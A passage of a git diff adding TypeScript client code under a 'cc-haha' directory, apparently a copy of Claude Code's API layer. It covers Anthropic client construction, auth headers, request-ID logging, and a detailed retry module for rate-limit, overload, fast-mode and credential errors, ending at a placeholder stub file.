+                projectId: process.env.ANTHROPIC_VERTEX_PROJECT_ID,
+              }),
+        })
+
+    const vertexArgs: ConstructorParameters<typeof AnthropicVertex>[0] = {
+      ...ARGS,
+      region: getVertexRegionForModel(model),
+      googleAuth,
+      ...(isDebugToStdErr() && { logger: createStderrLogger() }),
+    }
+    // we have always been lying about the return type - this doesn't support batching or models
+    return new AnthropicVertex(vertexArgs) as unknown as Anthropic
+  }
+
+  // Determine authentication method based on available tokens
+  const clientConfig: ConstructorParameters<typeof Anthropic>[0] = {
+    apiKey: isClaudeAISubscriber() ? null : apiKey || getAnthropicApiKey(),
+    authToken: isClaudeAISubscriber()
+      ? getClaudeAIOAuthTokens()?.accessToken
+      : undefined,
+    // Set baseURL from OAuth config when using staging OAuth
+    ...(process.env.USER_TYPE === 'ant' &&
+    isEnvTruthy(process.env.USE_STAGING_OAUTH)
+      ? { baseURL: getOauthConfig().BASE_API_URL }
+      : {}),
+    ...ARGS,
+    ...(isDebugToStdErr() && { logger: createStderrLogger() }),
+  }
+
+  return new Anthropic(clientConfig)
+}
+
+async function configureApiKeyHeaders(
+  headers: Record<string, string>,
+  isNonInteractiveSession: boolean,
+): Promise<void> {
+  const token =
+    process.env.ANTHROPIC_AUTH_TOKEN ||
+    (await getApiKeyFromApiKeyHelper(isNonInteractiveSession))
+  if (token) {
+    headers['Authorization'] = `Bearer ${token}`
+  }
+}
+
+function getCustomHeaders(): Record<string, string> {
+  const customHeaders: Record<string, string> = {}
+  const customHeadersEnv = process.env.ANTHROPIC_CUSTOM_HEADERS
+
+  if (!customHeadersEnv) return customHeaders
+
+  // Split by newlines to support multiple headers
+  const headerStrings = customHeadersEnv.split(/\n|\r\n/)
+
+  for (const headerString of headerStrings) {
+    if (!headerString.trim()) continue
+
+    // Parse header in format "Name: Value" (curl style). Split on first `:`
+    // then trim — avoids regex backtracking on malformed long header lines.
+    const colonIdx = headerString.indexOf(':')
+    if (colonIdx === -1) continue
+    const name = headerString.slice(0, colonIdx).trim()
+    const value = headerString.slice(colonIdx + 1).trim()
+    if (name) {
+      customHeaders[name] = value
+    }
+  }
+
+  return customHeaders
+}
+
+export const CLIENT_REQUEST_ID_HEADER = 'x-client-request-id'
+
+function buildFetch(
+  fetchOverride: ClientOptions['fetch'],
+  source: string | undefined,
+): ClientOptions['fetch'] {
+  // eslint-disable-next-line eslint-plugin-n/no-unsupported-features/node-builtins
+  const inner = fetchOverride ?? globalThis.fetch
+  // Only send to the first-party API — Bedrock/Vertex/Foundry don't log it
+  // and unknown headers risk rejection by strict proxies (inc-4029 class).
+  const injectClientRequestId =
+    getAPIProvider() === 'firstParty' && isFirstPartyAnthropicBaseUrl()
+  return (input, init) => {
+    // eslint-disable-next-line eslint-plugin-n/no-unsupported-features/node-builtins
+    const headers = new Headers(init?.headers)
+    // Generate a client-side request ID so timeouts (which return no server
+    // request ID) can still be correlated with server logs by the API team.
+    // Callers that want to track the ID themselves can pre-set the header.
+    if (injectClientRequestId && !headers.has(CLIENT_REQUEST_ID_HEADER)) {
+      headers.set(CLIENT_REQUEST_ID_HEADER, randomUUID())
+    }
+    try {
+      // eslint-disable-next-line eslint-plugin-n/no-unsupported-features/node-builtins
+      const url = input instanceof Request ? input.url : String(input)
+      const id = headers.get(CLIENT_REQUEST_ID_HEADER)
+      logForDebugging(
+        `[API REQUEST] ${new URL(url).pathname}${id ? ` ${CLIENT_REQUEST_ID_HEADER}=${id}` : ''} source=${source ?? 'unknown'}`,
+      )
+    } catch {
+      // never let logging crash the fetch
+    }
+    return inner(input, { ...init, headers })
+  }
+}
diff --git a/cc-haha/src/services/api/emptyUsage.ts b/cc-haha/src/services/api/emptyUsage.ts
new file mode 100644
index 0000000..ad8c25f
--- /dev/null
+++ b/cc-haha/src/services/api/emptyUsage.ts
@@ -0,0 +1,22 @@
+import type { NonNullableUsage } from '../../entrypoints/sdk/sdkUtilityTypes.js'
+
+/**
+ * Zero-initialized usage object. Extracted from logging.ts so that
+ * bridge/replBridge.ts can import it without transitively pulling in
+ * api/errors.ts → utils/messages.ts → BashTool.tsx → the world.
+ */
+export const EMPTY_USAGE: Readonly<NonNullableUsage> = {
+  input_tokens: 0,
+  cache_creation_input_tokens: 0,
+  cache_read_input_tokens: 0,
+  output_tokens: 0,
+  server_tool_use: { web_search_requests: 0, web_fetch_requests: 0 },
+  service_tier: 'standard',
+  cache_creation: {
+    ephemeral_1h_input_tokens: 0,
+    ephemeral_5m_input_tokens: 0,
+  },
+  inference_geo: '',
+  iterations: [],
+  speed: 'standard',
+}
diff --git a/cc-haha/src/services/api/withRetry.ts b/cc-haha/src/services/api/withRetry.ts
new file mode 100644
index 0000000..5ec9ad0
--- /dev/null
+++ b/cc-haha/src/services/api/withRetry.ts
@@ -0,0 +1,822 @@
+import { feature } from 'bun:bundle'
+import type Anthropic from '@anthropic-ai/sdk'
+import {
+  APIConnectionError,
+  APIError,
+  APIUserAbortError,
+} from '@anthropic-ai/sdk'
+import type { QuerySource } from 'src/constants/querySource.js'
+import type { SystemAPIErrorMessage } from 'src/types/message.js'
+import { isAwsCredentialsProviderError } from 'src/utils/aws.js'
+import { logForDebugging } from 'src/utils/debug.js'
+import { logError } from 'src/utils/log.js'
+import { createSystemAPIErrorMessage } from 'src/utils/messages.js'
+import { getAPIProviderForStatsig } from 'src/utils/model/providers.js'
+import {
+  clearApiKeyHelperCache,
+  clearAwsCredentialsCache,
+  clearGcpCredentialsCache,
+  getClaudeAIOAuthTokens,
+  handleOAuth401Error,
+  isClaudeAISubscriber,
+  isEnterpriseSubscriber,
+} from '../../utils/auth.js'
+import { isEnvTruthy } from '../../utils/envUtils.js'
+import { errorMessage } from '../../utils/errors.js'
+import {
+  type CooldownReason,
+  handleFastModeOverageRejection,
+  handleFastModeRejectedByAPI,
+  isFastModeCooldown,
+  isFastModeEnabled,
+  triggerFastModeCooldown,
+} from '../../utils/fastMode.js'
+import { isNonCustomOpusModel } from '../../utils/model/model.js'
+import { disableKeepAlive } from '../../utils/proxy.js'
+import { sleep } from '../../utils/sleep.js'
+import type { ThinkingConfig } from '../../utils/thinking.js'
+import { getFeatureValue_CACHED_MAY_BE_STALE } from '../analytics/growthbook.js'
+import {
+  type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+  logEvent,
+} from '../analytics/index.js'
+import {
+  checkMockRateLimitError,
+  isMockRateLimitError,
+} from '../rateLimitMocking.js'
+import { REPEATED_529_ERROR_MESSAGE } from './errors.js'
+import { extractConnectionErrorDetails } from './errorUtils.js'
+
+const abortError = () => new APIUserAbortError()
+
+const DEFAULT_MAX_RETRIES = 10
+const FLOOR_OUTPUT_TOKENS = 3000
+const MAX_529_RETRIES = 3
+export const BASE_DELAY_MS = 500
+
+// Foreground query sources where the user IS blocking on the result — these
+// retry on 529. Everything else (summaries, titles, suggestions, classifiers)
+// bails immediately: during a capacity cascade each retry is 3-10× gateway
+// amplification, and the user never sees those fail anyway. New sources
+// default to no-retry — add here only if the user is waiting on the result.
+const FOREGROUND_529_RETRY_SOURCES = new Set<QuerySource>([
+  'repl_main_thread',
+  'repl_main_thread:outputStyle:custom',
+  'repl_main_thread:outputStyle:Explanatory',
+  'repl_main_thread:outputStyle:Learning',
+  'sdk',
+  'agent:custom',
+  'agent:default',
+  'agent:builtin',
+  'compact',
+  'hook_agent',
+  'hook_prompt',
+  'verification_agent',
+  'side_question',
+  // Security classifiers — must complete for auto-mode correctness.
+  // yoloClassifier.ts uses 'auto_mode' (not 'yolo_classifier' — that's
+  // type-only). bash_classifier is ant-only; feature-gate so the string
+  // tree-shakes out of external builds (excluded-strings.txt).
+  'auto_mode',
+  ...(feature('BASH_CLASSIFIER') ? (['bash_classifier'] as const) : []),
+])
+
+function shouldRetry529(querySource: QuerySource | undefined): boolean {
+  // undefined → retry (conservative for untagged call paths)
+  return (
+    querySource === undefined || FOREGROUND_529_RETRY_SOURCES.has(querySource)
+  )
+}
+
+// CLAUDE_CODE_UNATTENDED_RETRY: for unattended sessions (ant-only). Retries 429/529
+// indefinitely with higher backoff and periodic keep-alive yields so the host
+// environment does not mark the session idle mid-wait.
+// TODO(ANT-344): the keep-alive via SystemAPIErrorMessage yields is a stopgap
+// until there's a dedicated keep-alive channel.
+const PERSISTENT_MAX_BACKOFF_MS = 5 * 60 * 1000
+const PERSISTENT_RESET_CAP_MS = 6 * 60 * 60 * 1000
+const HEARTBEAT_INTERVAL_MS = 30_000
+
+function isPersistentRetryEnabled(): boolean {
+  return feature('UNATTENDED_RETRY')
+    ? isEnvTruthy(process.env.CLAUDE_CODE_UNATTENDED_RETRY)
+    : false
+}
+
+function isTransientCapacityError(error: unknown): boolean {
+  return (
+    is529Error(error) || (error instanceof APIError && error.status === 429)
+  )
+}
+
+function isStaleConnectionError(error: unknown): boolean {
+  if (!(error instanceof APIConnectionError)) {
+    return false
+  }
+  const details = extractConnectionErrorDetails(error)
+  return details?.code === 'ECONNRESET' || details?.code === 'EPIPE'
+}
+
+export interface RetryContext {
+  maxTokensOverride?: number
+  model: string
+  thinkingConfig: ThinkingConfig
+  fastMode?: boolean
+}
+
+interface RetryOptions {
+  maxRetries?: number
+  model: string
+  fallbackModel?: string
+  thinkingConfig: ThinkingConfig
+  fastMode?: boolean
+  signal?: AbortSignal
+  querySource?: QuerySource
+  /**
+   * Pre-seed the consecutive 529 counter. Used when this retry loop is a
+   * non-streaming fallback after a streaming 529 — the streaming 529 should
+   * count toward MAX_529_RETRIES so total 529s-before-fallback is consistent
+   * regardless of which request mode hit the overload.
+   */
+  initialConsecutive529Errors?: number
+}
+
+export class CannotRetryError extends Error {
+  constructor(
+    public readonly originalError: unknown,
+    public readonly retryContext: RetryContext,
+  ) {
+    const message = errorMessage(originalError)
+    super(message)
+    this.name = 'RetryError'
+
+    // Preserve the original stack trace if available
+    if (originalError instanceof Error && originalError.stack) {
+      this.stack = originalError.stack
+    }
+  }
+}
+
+export class FallbackTriggeredError extends Error {
+  constructor(
+    public readonly originalModel: string,
+    public readonly fallbackModel: string,
+  ) {
+    super(`Model fallback triggered: ${originalModel} -> ${fallbackModel}`)
+    this.name = 'FallbackTriggeredError'
+  }
+}
+
+export async function* withRetry<T>(
+  getClient: () => Promise<Anthropic>,
+  operation: (
+    client: Anthropic,
+    attempt: number,
+    context: RetryContext,
+  ) => Promise<T>,
+  options: RetryOptions,
+): AsyncGenerator<SystemAPIErrorMessage, T> {
+  const maxRetries = getMaxRetries(options)
+  const retryContext: RetryContext = {
+    model: options.model,
+    thinkingConfig: options.thinkingConfig,
+    ...(isFastModeEnabled() && { fastMode: options.fastMode }),
+  }
+  let client: Anthropic | null = null
+  let consecutive529Errors = options.initialConsecutive529Errors ?? 0
+  let lastError: unknown
+  let persistentAttempt = 0
+  for (let attempt = 1; attempt <= maxRetries + 1; attempt++) {
+    if (options.signal?.aborted) {
+      throw new APIUserAbortError()
+    }
+
+    // Capture whether fast mode is active before this attempt
+    // (fallback may change the state mid-loop)
+    const wasFastModeActive = isFastModeEnabled()
+      ? retryContext.fastMode && !isFastModeCooldown()
+      : false
+
+    try {
+      // Check for mock rate limits (used by /mock-limits command for Ant employees)
+      if (process.env.USER_TYPE === 'ant') {
+        const mockError = checkMockRateLimitError(
+          retryContext.model,
+          wasFastModeActive,
+        )
+        if (mockError) {
+          throw mockError
+        }
+      }
+
+      // Get a fresh client instance on first attempt or after authentication errors
+      // - 401 for first-party API authentication failures
+      // - 403 "OAuth token has been revoked" (another process refreshed the token)
+      // - Bedrock-specific auth errors (403 or CredentialsProviderError)
+      // - Vertex-specific auth errors (credential refresh failures, 401)
+      // - ECONNRESET/EPIPE: stale keep-alive socket; disable pooling and reconnect
+      const isStaleConnection = isStaleConnectionError(lastError)
+      if (
+        isStaleConnection &&
+        getFeatureValue_CACHED_MAY_BE_STALE(
+          'tengu_disable_keepalive_on_econnreset',
+          false,
+        )
+      ) {
+        logForDebugging(
+          'Stale connection (ECONNRESET/EPIPE) — disabling keep-alive for retry',
+        )
+        disableKeepAlive()
+      }
+
+      if (
+        client === null ||
+        (lastError instanceof APIError && lastError.status === 401) ||
+        isOAuthTokenRevokedError(lastError) ||
+        isBedrockAuthError(lastError) ||
+        isVertexAuthError(lastError) ||
+        isStaleConnection
+      ) {
+        // On 401 "token expired" or 403 "token revoked", force a token refresh
+        if (
+          (lastError instanceof APIError && lastError.status === 401) ||
+          isOAuthTokenRevokedError(lastError)
+        ) {
+          const failedAccessToken = getClaudeAIOAuthTokens()?.accessToken
+          if (failedAccessToken) {
+            await handleOAuth401Error(failedAccessToken)
+          }
+        }
+        client = await getClient()
+      }
+
+      return await operation(client, attempt, retryContext)
+    } catch (error) {
+      lastError = error
+      logForDebugging(
+        `API error (attempt ${attempt}/${maxRetries + 1}): ${error instanceof APIError ? `${error.status} ${error.message}` : errorMessage(error)}`,
+        { level: 'error' },
+      )
+
+      // Fast mode fallback: on 429/529, either wait and retry (short delays)
+      // or fall back to standard speed (long delays) to avoid cache thrashing.
+      // Skip in persistent mode: the short-retry path below loops with fast
+      // mode still active, so its `continue` never reaches the attempt clamp
+      // and the for-loop terminates. Persistent sessions want the chunked
+      // keep-alive path instead of fast-mode cache-preservation anyway.
+      if (
+        wasFastModeActive &&
+        !isPersistentRetryEnabled() &&
+        error instanceof APIError &&
+        (error.status === 429 || is529Error(error))
+      ) {
+        // If the 429 is specifically because extra usage (overage) is not
+        // available, permanently disable fast mode with a specific message.
+        const overageReason = error.headers?.get(
+          'anthropic-ratelimit-unified-overage-disabled-reason',
+        )
+        if (overageReason !== null && overageReason !== undefined) {
+          handleFastModeOverageRejection(overageReason)
+          retryContext.fastMode = false
+          continue
+        }
+
+        const retryAfterMs = getRetryAfterMs(error)
+        if (retryAfterMs !== null && retryAfterMs < SHORT_RETRY_THRESHOLD_MS) {
+          // Short retry-after: wait and retry with fast mode still active
+          // to preserve prompt cache (same model name on retry).
+          await sleep(retryAfterMs, options.signal, { abortError })
+          continue
+        }
+        // Long or unknown retry-after: enter cooldown (switches to standard
+        // speed model), with a minimum floor to avoid flip-flopping.
+        const cooldownMs = Math.max(
+          retryAfterMs ?? DEFAULT_FAST_MODE_FALLBACK_HOLD_MS,
+          MIN_COOLDOWN_MS,
+        )
+        const cooldownReason: CooldownReason = is529Error(error)
+          ? 'overloaded'
+          : 'rate_limit'
+        triggerFastModeCooldown(Date.now() + cooldownMs, cooldownReason)
+        if (isFastModeEnabled()) {
+          retryContext.fastMode = false
+        }
+        continue
+      }
+
+      // Fast mode fallback: if the API rejects the fast mode parameter
+      // (e.g., org doesn't have fast mode enabled), permanently disable fast
+      // mode and retry at standard speed.
+      if (wasFastModeActive && isFastModeNotEnabledError(error)) {
+        handleFastModeRejectedByAPI()
+        retryContext.fastMode = false
+        continue
+      }
+
+      // Non-foreground sources bail immediately on 529 — no retry amplification
+      // during capacity cascades. User never sees these fail.
+      if (is529Error(error) && !shouldRetry529(options.querySource)) {
+        logEvent('tengu_api_529_background_dropped', {
+          query_source:
+            options.querySource as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        })
+        throw new CannotRetryError(error, retryContext)
+      }
+
+      // Track consecutive 529 errors
+      if (
+        is529Error(error) &&
+        // If FALLBACK_FOR_ALL_PRIMARY_MODELS is not set, fall through only if the primary model is a non-custom Opus model.
+        // TODO: Revisit if the isNonCustomOpusModel check should still exist, or if isNonCustomOpusModel is a stale artifact of when Claude Code was hardcoded on Opus.
+        (process.env.FALLBACK_FOR_ALL_PRIMARY_MODELS ||
+          (!isClaudeAISubscriber() && isNonCustomOpusModel(options.model)))
+      ) {
+        consecutive529Errors++
+        if (consecutive529Errors >= MAX_529_RETRIES) {
+          // Check if fallback model is specified
+          if (options.fallbackModel) {
+            logEvent('tengu_api_opus_fallback_triggered', {
+              original_model:
+                options.model as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+              fallback_model:
+                options.fallbackModel as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+              provider: getAPIProviderForStatsig(),
+            })
+
+            // Throw special error to indicate fallback was triggered
+            throw new FallbackTriggeredError(
+              options.model,
+              options.fallbackModel,
+            )
+          }
+
+          if (
+            process.env.USER_TYPE === 'external' &&
+            !process.env.IS_SANDBOX &&
+            !isPersistentRetryEnabled()
+          ) {
+            logEvent('tengu_api_custom_529_overloaded_error', {})
+            throw new CannotRetryError(
+              new Error(REPEATED_529_ERROR_MESSAGE),
+              retryContext,
+            )
+          }
+        }
+      }
+
+      // Only retry if the error indicates we should
+      const persistent =
+        isPersistentRetryEnabled() && isTransientCapacityError(error)
+      if (attempt > maxRetries && !persistent) {
+        throw new CannotRetryError(error, retryContext)
+      }
+
+      // AWS/GCP errors aren't always APIError, but can be retried
+      const handledCloudAuthError =
+        handleAwsCredentialError(error) || handleGcpCredentialError(error)
+      if (
+        !handledCloudAuthError &&
+        (!(error instanceof APIError) || !shouldRetry(error))
+      ) {
+        throw new CannotRetryError(error, retryContext)
+      }
+
+      // Handle max tokens context overflow errors by adjusting max_tokens for the next attempt
+      // NOTE: With extended-context-window beta, this 400 error should not occur.
+      // The API now returns 'model_context_window_exceeded' stop_reason instead.
+      // Keeping for backward compatibility.
+      if (error instanceof APIError) {
+        const overflowData = parseMaxTokensContextOverflowError(error)
+        if (overflowData) {
+          const { inputTokens, contextLimit } = overflowData
+
+          const safetyBuffer = 1000
+          const availableContext = Math.max(
+            0,
+            contextLimit - inputTokens - safetyBuffer,
+          )
+          if (availableContext < FLOOR_OUTPUT_TOKENS) {
+            logError(
+              new Error(
+                `availableContext ${availableContext} is less than FLOOR_OUTPUT_TOKENS ${FLOOR_OUTPUT_TOKENS}`,
+              ),
+            )
+            throw error
+          }
+          // Ensure we have enough tokens for thinking + at least 1 output token
+          const minRequired =
+            (retryContext.thinkingConfig.type === 'enabled'
+              ? retryContext.thinkingConfig.budgetTokens
+              : 0) + 1
+          const adjustedMaxTokens = Math.max(
+            FLOOR_OUTPUT_TOKENS,
+            availableContext,
+            minRequired,
+          )
+          retryContext.maxTokensOverride = adjustedMaxTokens
+
+          logEvent('tengu_max_tokens_context_overflow_adjustment', {
+            inputTokens,
+            contextLimit,
+            adjustedMaxTokens,
+            attempt,
+          })
+
+          continue
+        }
+      }
+
+      // For other errors, proceed with normal retry logic
+      // Get retry-after header if available
+      const retryAfter = getRetryAfter(error)
+      let delayMs: number
+      if (persistent && error instanceof APIError && error.status === 429) {
+        persistentAttempt++
+        // Window-based limits (e.g. 5hr Max/Pro) include a reset timestamp.
+        // Wait until reset rather than polling every 5 min uselessly.
+        const resetDelay = getRateLimitResetDelayMs(error)
+        delayMs =
+          resetDelay ??
+          Math.min(
+            getRetryDelay(
+              persistentAttempt,
+              retryAfter,
+              PERSISTENT_MAX_BACKOFF_MS,
+            ),
+            PERSISTENT_RESET_CAP_MS,
+          )
+      } else if (persistent) {
+        persistentAttempt++
+        // Retry-After is a server directive and bypasses maxDelayMs inside
+        // getRetryDelay (intentional — honoring it is correct). Cap at the
+        // 6hr reset-cap here so a pathological header can't wait unbounded.
+        delayMs = Math.min(
+          getRetryDelay(
+            persistentAttempt,
+            retryAfter,
+            PERSISTENT_MAX_BACKOFF_MS,
+          ),
+          PERSISTENT_RESET_CAP_MS,
+        )
+      } else {
+        delayMs = getRetryDelay(attempt, retryAfter)
+      }
+
+      // In persistent mode the for-loop `attempt` is clamped at maxRetries+1;
+      // use persistentAttempt for telemetry/yields so they show the true count.
+      const reportedAttempt = persistent ? persistentAttempt : attempt
+      logEvent('tengu_api_retry', {
+        attempt: reportedAttempt,
+        delayMs: delayMs,
+        error: (error as APIError)
+          .message as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        status: (error as APIError).status,
+        provider: getAPIProviderForStatsig(),
+      })
+
+      if (persistent) {
+        if (delayMs > 60_000) {
+          logEvent('tengu_api_persistent_retry_wait', {
+            status: (error as APIError).status,
+            delayMs,
+            attempt: reportedAttempt,
+            provider: getAPIProviderForStatsig(),
+          })
+        }
+        // Chunk long sleeps so the host sees periodic stdout activity and
+        // does not mark the session idle. Each yield surfaces as
+        // {type:'system', subtype:'api_retry'} on stdout via QueryEngine.
+        let remaining = delayMs
+        while (remaining > 0) {
+          if (options.signal?.aborted) throw new APIUserAbortError()
+          if (error instanceof APIError) {
+            yield createSystemAPIErrorMessage(
+              error,
+              remaining,
+              reportedAttempt,
+              maxRetries,
+            )
+          }
+          const chunk = Math.min(remaining, HEARTBEAT_INTERVAL_MS)
+          await sleep(chunk, options.signal, { abortError })
+          remaining -= chunk
+        }
+        // Clamp so the for-loop never terminates. Backoff uses the separate
+        // persistentAttempt counter which keeps growing to the 5-min cap.
+        if (attempt >= maxRetries) attempt = maxRetries
+      } else {
+        if (error instanceof APIError) {
+          yield createSystemAPIErrorMessage(error, delayMs, attempt, maxRetries)
+        }
+        await sleep(delayMs, options.signal, { abortError })
+      }
+    }
+  }
+
+  throw new CannotRetryError(lastError, retryContext)
+}
+
+function getRetryAfter(error: unknown): string | null {
+  return (
+    ((error as { headers?: { 'retry-after'?: string } }).headers?.[
+      'retry-after'
+    ] ||
+      // eslint-disable-next-line eslint-plugin-n/no-unsupported-features/node-builtins
+      ((error as APIError).headers as Headers)?.get?.('retry-after')) ??
+    null
+  )
+}
+
+export function getRetryDelay(
+  attempt: number,
+  retryAfterHeader?: string | null,
+  maxDelayMs = 32000,
+): number {
+  if (retryAfterHeader) {
+    const seconds = parseInt(retryAfterHeader, 10)
+    if (!isNaN(seconds)) {
+      return seconds * 1000
+    }
+  }
+
+  const baseDelay = Math.min(
+    BASE_DELAY_MS * Math.pow(2, attempt - 1),
+    maxDelayMs,
+  )
+  const jitter = Math.random() * 0.25 * baseDelay
+  return baseDelay + jitter
+}
+
+export function parseMaxTokensContextOverflowError(error: APIError):
+  | {
+      inputTokens: number
+      maxTokens: number
+      contextLimit: number
+    }
+  | undefined {
+  if (error.status !== 400 || !error.message) {
+    return undefined
+  }
+
+  if (
+    !error.message.includes(
+      'input length and `max_tokens` exceed context limit',
+    )
+  ) {
+    return undefined
+  }
+
+  // Example format: "input length and `max_tokens` exceed context limit: 188059 + 20000 > 200000"
+  const regex =
+    /input length and `max_tokens` exceed context limit: (\d+) \+ (\d+) > (\d+)/
+  const match = error.message.match(regex)
+
+  if (!match || match.length !== 4) {
+    return undefined
+  }
+
+  if (!match[1] || !match[2] || !match[3]) {
+    logError(
+      new Error(
+        'Unable to parse max_tokens from max_tokens exceed context limit error message',
+      ),
+    )
+    return undefined
+  }
+  const inputTokens = parseInt(match[1], 10)
+  const maxTokens = parseInt(match[2], 10)
+  const contextLimit = parseInt(match[3], 10)
+
+  if (isNaN(inputTokens) || isNaN(maxTokens) || isNaN(contextLimit)) {
+    return undefined
+  }
+
+  return { inputTokens, maxTokens, contextLimit }
+}
+
+// TODO: Replace with a response header check once the API adds a dedicated
+// header for fast-mode rejection (e.g., x-fast-mode-rejected). String-matching
+// the error message is fragile and will break if the API wording changes.
+function isFastModeNotEnabledError(error: unknown): boolean {
+  if (!(error instanceof APIError)) {
+    return false
+  }
+  return (
+    error.status === 400 &&
+    (error.message?.includes('Fast mode is not enabled') ?? false)
+  )
+}
+
+export function is529Error(error: unknown): boolean {
+  if (!(error instanceof APIError)) {
+    return false
+  }
+
+  // Check for 529 status code or overloaded error in message
+  return (
+    error.status === 529 ||
+    // See below: the SDK sometimes fails to properly pass the 529 status code during streaming
+    (error.message?.includes('"type":"overloaded_error"') ?? false)
+  )
+}
+
+function isOAuthTokenRevokedError(error: unknown): boolean {
+  return (
+    error instanceof APIError &&
+    error.status === 403 &&
+    (error.message?.includes('OAuth token has been revoked') ?? false)
+  )
+}
+
+function isBedrockAuthError(error: unknown): boolean {
+  if (isEnvTruthy(process.env.CLAUDE_CODE_USE_BEDROCK)) {
+    // AWS libs reject without an API call if .aws holds a past Expiration value
+    // otherwise, API calls that receive expired tokens give generic 403
+    // "The security token included in the request is invalid"
+    if (
+      isAwsCredentialsProviderError(error) ||
+      (error instanceof APIError && error.status === 403)
+    ) {
+      return true
+    }
+  }
+  return false
+}
+
+/**
+ * Clear AWS auth caches if appropriate.
+ * @returns true if action was taken.
+ */
+function handleAwsCredentialError(error: unknown): boolean {
+  if (isBedrockAuthError(error)) {
+    clearAwsCredentialsCache()
+    return true
+  }
+  return false
+}
+
+// google-auth-library throws plain Error (no typed name like AWS's
+// CredentialsProviderError). Match common SDK-level credential-failure messages.
+function isGoogleAuthLibraryCredentialError(error: unknown): boolean {
+  if (!(error instanceof Error)) return false
+  const msg = error.message
+  return (
+    msg.includes('Could not load the default credentials') ||
+    msg.includes('Could not refresh access token') ||
+    msg.includes('invalid_grant')
+  )
+}
+
+function isVertexAuthError(error: unknown): boolean {
+  if (isEnvTruthy(process.env.CLAUDE_CODE_USE_VERTEX)) {
+    // SDK-level: google-auth-library fails in prepareOptions() before the HTTP call
+    if (isGoogleAuthLibraryCredentialError(error)) {
+      return true
+    }
+    // Server-side: Vertex returns 401 for expired/invalid tokens
+    if (error instanceof APIError && error.status === 401) {
+      return true
+    }
+  }
+  return false
+}
+
+/**
+ * Clear GCP auth caches if appropriate.
+ * @returns true if action was taken.
+ */
+function handleGcpCredentialError(error: unknown): boolean {
+  if (isVertexAuthError(error)) {
+    clearGcpCredentialsCache()
+    return true
+  }
+  return false
+}
+
+function shouldRetry(error: APIError): boolean {
+  // Never retry mock errors - they're from /mock-limits command for testing
+  if (isMockRateLimitError(error)) {
+    return false
+  }
+
+  // Persistent mode: 429/529 always retryable, bypass subscriber gates and
+  // x-should-retry header.
+  if (isPersistentRetryEnabled() && isTransientCapacityError(error)) {
+    return true
+  }
+
+  // CCR mode: auth is via infrastructure-provided JWTs, so a 401/403 is a
+  // transient blip (auth service flap, network hiccup) rather than bad
+  // credentials. Bypass x-should-retry:false — the server assumes we'd retry
+  // the same bad key, but our key is fine.
+  if (
+    isEnvTruthy(process.env.CLAUDE_CODE_REMOTE) &&
+    (error.status === 401 || error.status === 403)
+  ) {
+    return true
+  }
+
+  // Check for overloaded errors first by examining the message content
+  // The SDK sometimes fails to properly pass the 529 status code during streaming,
+  // so we need to check the error message directly
+  if (error.message?.includes('"type":"overloaded_error"')) {
+    return true
+  }
+
+  // Check for max tokens context overflow errors that we can handle
+  if (parseMaxTokensContextOverflowError(error)) {
+    return true
+  }
+
+  // Note this is not a standard header.
+  const shouldRetryHeader = error.headers?.get('x-should-retry')
+
+  // If the server explicitly says whether or not to retry, obey.
+  // For Max and Pro users, should-retry is true, but in several hours, so we shouldn't.
+  // Enterprise users can retry because they typically use PAYG instead of rate limits.
+  if (
+    shouldRetryHeader === 'true' &&
+    (!isClaudeAISubscriber() || isEnterpriseSubscriber())
+  ) {
+    return true
+  }
+
+  // Ants can ignore x-should-retry: false for 5xx server errors only.
+  // For other status codes (401, 403, 400, 429, etc.), respect the header.
+  if (shouldRetryHeader === 'false') {
+    const is5xxError = error.status !== undefined && error.status >= 500
+    if (!(process.env.USER_TYPE === 'ant' && is5xxError)) {
+      return false
+    }
+  }
+
+  if (error instanceof APIConnectionError) {
+    return true
+  }
+
+  if (!error.status) return false
+
+  // Retry on request timeouts.
+  if (error.status === 408) return true
+
+  // Retry on lock timeouts.
+  if (error.status === 409) return true
+
+  // Retry on rate limits, but not for ClaudeAI Subscription users
+  // Enterprise users can retry because they typically use PAYG instead of rate limits
+  if (error.status === 429) {
+    return !isClaudeAISubscriber() || isEnterpriseSubscriber()
+  }
+
+  // Clear API key cache on 401 and allow retry.
+  // OAuth token handling is done in the main retry loop via handleOAuth401Error.
+  if (error.status === 401) {
+    clearApiKeyHelperCache()
+    return true
+  }
+
+  // Retry on 403 "token revoked" (same refresh logic as 401, see above)
+  if (isOAuthTokenRevokedError(error)) {
+    return true
+  }
+
+  // Retry internal errors.
+  if (error.status && error.status >= 500) return true
+
+  return false
+}
+
+export function getDefaultMaxRetries(): number {
+  if (process.env.CLAUDE_CODE_MAX_RETRIES) {
+    return parseInt(process.env.CLAUDE_CODE_MAX_RETRIES, 10)
+  }
+  return DEFAULT_MAX_RETRIES
+}
+function getMaxRetries(options: RetryOptions): number {
+  return options.maxRetries ?? getDefaultMaxRetries()
+}
+
+const DEFAULT_FAST_MODE_FALLBACK_HOLD_MS = 30 * 60 * 1000 // 30 minutes
+const SHORT_RETRY_THRESHOLD_MS = 20 * 1000 // 20 seconds
+const MIN_COOLDOWN_MS = 10 * 60 * 1000 // 10 minutes
+
+function getRetryAfterMs(error: APIError): number | null {
+  const retryAfter = getRetryAfter(error)
+  if (retryAfter) {
+    const seconds = parseInt(retryAfter, 10)
+    if (!isNaN(seconds)) {
+      return seconds * 1000
+    }
+  }
+  return null
+}
+
+function getRateLimitResetDelayMs(error: APIError): number | null {
+  const resetHeader = error.headers?.get?.('anthropic-ratelimit-unified-reset')
+  if (!resetHeader) return null
+  const resetUnixSec = Number(resetHeader)
+  if (!Number.isFinite(resetUnixSec)) return null
+  const delayMs = resetUnixSec * 1000 - Date.now()
+  if (delayMs <= 0) return null
+  return Math.min(delayMs, PERSISTENT_RESET_CAP_MS)
+}
diff --git a/cc-haha/src/services/compact/cachedMCConfig.ts b/cc-haha/src/services/compact/cachedMCConfig.ts
new file mode 100644
index 0000000..c170c49
--- /dev/null
+++ b/cc-haha/src/services/compact/cachedMCConfig.ts
@@ -0,0 +1,34 @@
+// @generated stub from scan-missing-imports
+// 该文件自动生成，对应 ant-internal 的 feature() gated 模块。
+// 所有外部 build 的代码路径在 DCE 后都不会真的执行这里的代码，这只是
+// bun build resolver 的占位符。
